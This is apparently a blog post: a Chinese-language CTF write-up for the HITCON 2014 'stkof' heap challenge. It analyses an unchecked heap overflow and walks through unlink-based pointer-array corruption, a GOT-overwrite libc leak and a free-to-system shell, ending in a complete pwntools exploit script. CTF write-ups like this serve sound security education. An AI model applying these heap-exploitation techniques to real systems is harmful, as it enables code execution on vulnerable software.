2014 HITCON stkof WriteUp

安全策略

先用checksec检查安全策略

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

运行程序

跑起来没有提示,直接下一步看看吧。

静态分析

IDA打开反编译,主函数实现了一个比较常见的菜单功能,一共四个选项:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int choice; // eax
  int ret; // [rsp+Ch] [rbp-74h]
  char nptr[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v7; // [rsp+78h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  alarm(0x78u);
  while ( fgets(nptr, 10, stdin) )
  {
    choice = atoi(nptr);
    if ( choice == 2 )
    {
      ret = edit();                             // 修改idx对应chunk内容
      goto PRINT_STATUS;
    }
    if ( choice > 2 )
    {
      if ( choice == 3 )
      {
        ret = delete();                         // 释放idx对应chunk并置零数组对应位置
        goto PRINT_STATUS;
      }
      if ( choice == 4 )
      {
        ret = show();                           // 显示idx对应chunk字符串长度是否大于3
        goto PRINT_STATUS;
      }
    }
    else if ( choice == 1 )
    {
      ret = add();                              // 申请指定size的chunk,并保存地址到列表中
      goto PRINT_STATUS;
    }
    ret = -1;
PRINT_STATUS:
    if ( ret )
      puts("FAIL");
    else
      puts("OK");
    fflush(stdout);
  }
  return 0LL;
}

其中,edit函数存在溢出,没有验证读入的大小是否超过了申请的大小,因此能够覆盖到后面的堆:

__int64 edit()
{
  int i; // eax
  unsigned int idx; // [rsp+8h] [rbp-88h]
  __int64 n; // [rsp+10h] [rbp-80h]
  char *ptr; // [rsp+18h] [rbp-78h]
  char s[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+88h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  idx = atol(s);
  if ( idx > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !(&::s)[idx] )
    return 0xFFFFFFFFLL;
  fgets(s, 16, stdin);
  n = atoll(s);
  ptr = (&::s)[idx];
  for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )// 从标准输入读取 n 个字节到 ptr
  {
    ptr += i;
    n -= i;
  }
  if ( n )
    return 0xFFFFFFFFLL;
  else
    return 0LL;
}

然后找到&::s即保存堆块位置的指针数组位置,因为没开启 PIE 保护,这个位置是不会变的,等会unlink的时候可以直接用:

.bss:0000000000602140 ?? ?? ?? ?? ?? ?? ?? ??       s dq ?                                  ; DATA XREF: add+78↑w

得到在0x0000000000602140的位置。

动态调试

IO缓冲区

程序没关闭IO缓冲区,因此进行输入输出时会分配缓冲区。

申请完第一个堆块,同时就分配完了两个IO缓冲区。用parseheap查看堆,下面第二个和第四个块就是IO缓冲区申请的堆块。

addr                prev                size                 status              fd                bk
0x21e9000           0x0                 0x290                Used                None              None
0x21e9290           0x0                 0x1010               Used                None              None
0x21ea2a0           0x0                 0x20                 Used                None              None
0x21ea2c0           0x0                 0x410                Used                None              None

因为申请的第一个块夹在中间,不方便进行溢出,所以用它申请完IO缓冲区,后面的堆块再用来unlink。

任意地址写

unlink

因为我用的 glibc 是2.31 版本的,所以申请 0x420 大小的堆块,避免申请到 fastbin 和 tcache 的造成无法 unlink。

这里申请两个 0x420 的堆块。

接着构造unlink的payload,写入申请的第二个堆块中,同时覆盖到第三个堆块中。

首先伪造一个fake_chunk:

fd = chunk_array_addr + 0x10 - 0x18
bk = chunk_array_addr + 0x10 - 0x10
payload = pack(0) + pack(malloc_size + 1) + pack(fd) + pack(bk)
payload = payload.ljust(malloc_size, b'\0')             # fd_nextsize填充为NULL,绕过largebin检测

然后利用堆溢出,构造第三个堆块的header:

payload += pack(malloc_size) + pack(malloc_size + 0x10)

unlink的后向合并是基于后一个堆块的 prev_inuse 段确定前一个堆块是否空闲的。

写入后,我们释放掉第三个堆块,然后检查是否完成了 unlink 操作。

parseheap指令查看堆,可以看到原本的堆块结构已经被破坏了,基本可以确定unlink已经完成。

addr                prev                size                 status              fd                bk
0x1688000           0x0                 0x290                Used                None              None
0x1688290           0x0                 0x1010               Used                None              None
0x16892a0           0x0                 0x20                 Used                None              None
0x16892c0           0x0                 0x410                Used                None              None
0x16896d0           0x0                 0x430                Freed                0x0           0x1f921
Corrupt ?!

telescope指令查看0x0000000000602140附近的内存,得到:

pwndbg> telescope 0x0000000000602140
00:0000│  0x602140 ◂— 0x0
01:0008│  0x602148 —▸ 0x16892b0 ◂— 0x0
02:0010│  0x602150 —▸ 0x602138 ◂— 0x0
03:0018│  0x602158 ◂— 0x0
... ↓     4 skipped

可以看到,已经完成了 unlink 利用,接下来编辑第二个堆块就可以修改指针数组指向任意地址,然后进行任意写,这里已经基本上尘埃落定了。

获取libc基址

这里通过将strlen.got.plt表改成putsplt表,然后进行show的时候就会泄露出指针数组保存的地址的内容。

通过这种方法泄露出putsgot表地址,从而计算出libc基址,进而得到system地址。

获取shell

freegot表改为system地址,然后新建一个堆块,写入/bin/sh,释放该堆块就取得了shell

漏洞利用

最终EXP如下:

from pwn import *

debug = True
local_path = './stkof'
remote_path = ''
remote_port = 8080
file = ELF(local_path)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
context.binary = local_path

if debug:
    io = process('./stkof')
    # context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0','sp', '-V', '--title', 'gdb', 'bash', '-c']
    context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
    context.log_level = 'debug'
else: 
    io = remote(remote_path, remote_port)

def itob(num):
    return str(num).encode()

def add(size):
    io.sendline(b'1')
    io.sendline(itob(size))
    idx = io.recvline()
    idx = int(idx)
    io.recvuntil(b'OK\n')
    return idx

def edit(idx, content):
    size = len(content)
    io.sendline(b'2')
    io.sendline(itob(idx))
    io.sendline(itob(size))
    io.send(content)
    io.recvuntil(b'OK\n')

def delete(idx):
    io.sendline(b'3')
    io.sendline(itob(idx))
    io.recvuntil(b'OK\n')

def show(idx):
    io.sendline(b'4')
    io.sendline(itob(idx))
    msg = io.recvline()
    io.recvuntil(b'OK\n')
    if msg == b'//TODO\n':
        return 0
    elif msg == b'...\n':
        return 1
    else:
        return msg

def exp():
    chunk_array_addr = 0x0000000000602140
    strlen_got = file.got['strlen']
    puts_plt = file.plt['puts']
    puts_got = file.got['puts']
    free_got = file.got['free']

    malloc_size = 0x420 # 避免申请到fastbin和tcache
    add(0x10)           # 随便申请一块内存同时完成申请两个IO缓冲区
    add(malloc_size)
    add(malloc_size)

    fd = chunk_array_addr + 0x10 - 0x18
    bk = chunk_array_addr + 0x10 - 0x10
    payload = pack(0) + pack(malloc_size + 1) + pack(fd) + pack(bk)
    payload = payload.ljust(malloc_size, b'\0')             # fd_nextsize填充为NULL,绕过largebin检测
    payload += pack(malloc_size) + pack(malloc_size + 0x10)
    edit(2, payload)
    delete(3)

    payload = cyclic(0x10) + pack(strlen_got) + pack(puts_got) + pack(free_got)
    edit(2, payload)
    show(2)     # 先调用一下用于载入strlen的got表地址,避免等会覆盖了用于覆盖的地址

    payload = pack(puts_plt)
    edit(1, payload)
    puts_addr = unpack(show(2)[:-1].ljust(0x8, b'\0'))
    log.success("leak puts@got addr: " + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']

    payload = pack(system_addr)
    edit(3, payload)
    idx = add(0x10)

    payload = b'/bin/sh'
    edit(4, payload)
    io.sendline(b'3')
    io.sendline(b'4')
    io.interactive()

if __name__=='__main__':
    exp()

get

暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇